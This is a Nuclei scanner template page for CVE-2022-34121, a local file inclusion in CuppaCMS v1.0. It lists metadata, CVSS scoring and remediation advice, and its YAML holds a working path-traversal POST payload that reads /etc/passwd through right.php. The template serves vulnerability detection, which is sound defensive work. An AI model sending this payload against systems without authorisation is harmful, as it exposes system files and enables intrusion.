CVE-2022-34121: CuppaCMS v1.0 - Local File Inclusion
- Template: CVE-2022-34121
- Name: CuppaCMS v1.0 - Local File Inclusion
- Description: Cuppa CMS v1.0 is vulnerable to local file inclusion via the component /templates/default/html/windows/right.php.
- Impact: Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
- Remediation: Upgrade to the latest version of CuppaCMS or apply the provided patch to fix the LFI vulnerability.
- Severity: high
- Authors: edoardottt
- Tags: cve, cve2022, lfi, cuppa, cms, cuppacms, vkev, vuln
- References: https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates, https://github.com/CuppaCMS/CuppaCMS/issues/18, https://nvd.nist.gov/vuln/detail/CVE-2022-34121, https://github.com/ARPSyndicate/cvemon, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2022-34121
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-34121.yaml
- Digest: 4b0a00483046022100df1631726e1709b20062d94153a24614a70f6998d8b701e1ec81f7687f378e8f022100d80259c7b8ffd3b5d6e071e03128bdfb186458996786216febd0feeb822fb91f
- Created at: 2022-09-20T18:29:13Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1526
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34121.yaml
Classification
- Cwe: CWE-829
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.03877
- Epss percentile: 0.90474
- Cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: cuppacms
- Vendor: cuppacms
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| cuppacms:cuppacms | yes | /v1/products/cuppacms/cuppacms |
Labels
- Name: Cuppa CMS - File Inclusion
- Impact: Attackers can include arbitrary local files, potentially leading to information disclosure or code execution.
- Remediation: Update to the latest version of Cuppa CMS or apply security patches that fix the file inclusion vulnerability.
- Vulnerability type: file_inclusion
- Vulnerability impact: file_system_read, information_disclosure
- Requirement type: logged_in
- Requirements: Attacker needs access to the web interface
- Labels source: projectdiscovery
- From cve: CVE-2022-34121
```yaml
id: CVE-2022-34121
info:
name: CuppaCMS v1.0 - Local File Inclusion
author: edoardottt
severity: high
description: |
Cuppa CMS v1.0 is vulnerable to local file inclusion via the component /templates/default/html/windows/right.php.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
remediation: |
Upgrade to the latest version of CuppaCMS or apply the provided patch to fix the LFI vulnerability.
reference:
- https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates
- https://github.com/CuppaCMS/CuppaCMS/issues/18
- https://nvd.nist.gov/vuln/detail/CVE-2022-34121
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-34121
cwe-id: CWE-829
epss-score: 0.03877
epss-percentile: 0.90474
cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: cuppacms
product: cuppacms
tags: cve,cve2022,lfi,cuppa,cms,cuppacms,vkev,vuln
http:
- raw:
- |
POST /templates/default/html/windows/right.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
url=../../../../../../../../../../../../etc/passwd
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
digest: 4b0a00483046022100df1631726e1709b20062d94153a24614a70f6998d8b701e1ec81f7687f378e8f022100d80259c7b8ffd3b5d6e071e03128bdfb186458996786216febd0feeb822fb91f:922c64590222798bb761d5b6d8e72950
```